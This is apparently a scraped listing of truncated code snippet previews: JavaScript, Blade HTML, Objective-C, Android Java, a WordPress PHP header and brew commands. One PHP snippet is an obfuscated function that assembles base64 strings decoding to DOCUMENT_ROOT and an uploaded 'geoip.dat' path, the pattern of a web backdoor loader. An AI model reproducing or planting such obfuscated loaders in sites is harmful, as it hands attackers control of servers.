This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js"></script> | |
<script src="https://cdn.rawgit.com/skipser/youtube-autoresize/master/youtube-autoresizer.js"></script> | |
<script> | |
$(document).ready(function() { | |
if(typeof YOUTUBE_VIDEO_MARGIN == 'undefined') { | |
YOUTUBE_VIDEO_MARGIN=5; | |
} | |
$('iframe').each(function(index,item) { | |
if($(item).attr('src').match(/(https?:)?\/\/www\.youtube\.com/)) { | |
var w=$(item).attr('width'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="utf-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<meta name="viewport" content="width=device-width, initial-scale=1"> | |
<title>{{{ $pageTitle }}}</title> | |
<!-- Bootstrap --> | |
<link href="../assets/bootstrap/css/bootstrap.css" rel="stylesheet"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
NSNumberFormatter *numberFormatter = [[NSNumberFormatter alloc] init]; | |
[numberFormatter setGroupingSeparator:@"."]; | |
[numberFormatter setGroupingSize:3]; | |
[numberFormatter setUsesGroupingSeparator:YES]; | |
[numberFormatter setDecimalSeparator:@","]; | |
[numberFormatter setNumberStyle:NSNumberFormatterDecimalStyle]; | |
[numberFormatter setMaximumFractionDigits:0]; | |
NSString *nominal = [numberFormatter stringFromNumber:[dict valueForKey:@"amount"]]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function _1202589136($i) | |
{ | |
$a = Array( | |
'RE' . '9DVU1FTl' . 'RfUk9' . 'P' . 'V' . 'A' . '=' . '=', | |
'L3V' . 'w' . 'bG' . '9hZF' . '9' . 'maWx' . 'lc' . 'y9nZW9pcC5k' . 'YXQ=', | |
'X' . 'yg' . 'u', | |
'Kilf', | |
'' . 'ZQ==', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* WordPress Category API | |
* | |
* @package WordPress | |
*/ | |
/** | |
* Retrieves all category IDs. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File imgFile = new File("/mnt/sdcard/ektp_baru_blur.jpg"); | |
Bitmap myBitmap = BitmapFactory.decodeFile(imgFile.getAbsolutePath()); | |
Bitmap destBitmap = Bitmap.createBitmap(myBitmap, 100,0,1410,myBitmap.getHeight()); | |
finalImg.setImageBitmap(destBitmap); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
final Handler handler = new Handler(); | |
handler.postDelayed(new Runnable() { | |
@Override | |
public void run() { | |
// Do something after 5s = 5000ms | |
Log.i("coba","JALANKAN BARIS INI"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//1D 7C 01 n | |
byte[] bbNoSleep = {(byte)0x1D,(byte)0x7C,(byte)0x01,(byte)0xFF,}; | |
BlueToothServicesP25.sendSocketMsg(bbNoSleep); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[_loginBtn setBackgroundImage:[UIImage imageNamed:@"buttonlogin"] forState:UIControlStateNormal]; | |
UIImage *fieldBGImage = [[UIImage imageNamed:@"inputform"] stretchableImageWithLeftCapWidth:20 topCapHeight:20]; | |
[_userIDTxt setBorderStyle:UITextBorderStyleNone]; | |
[_userIDTxt setBackground:fieldBGImage]; | |
[_tinTxt setBorderStyle:UITextBorderStyleNone]; | |
[_tinTxt setBackground:fieldBGImage]; | |
UIView *paddingView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, 20, 20)]; | |
_userIDTxt.leftView = paddingView; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
brew install autoconf | |
brew install automake | |
brew install libtool |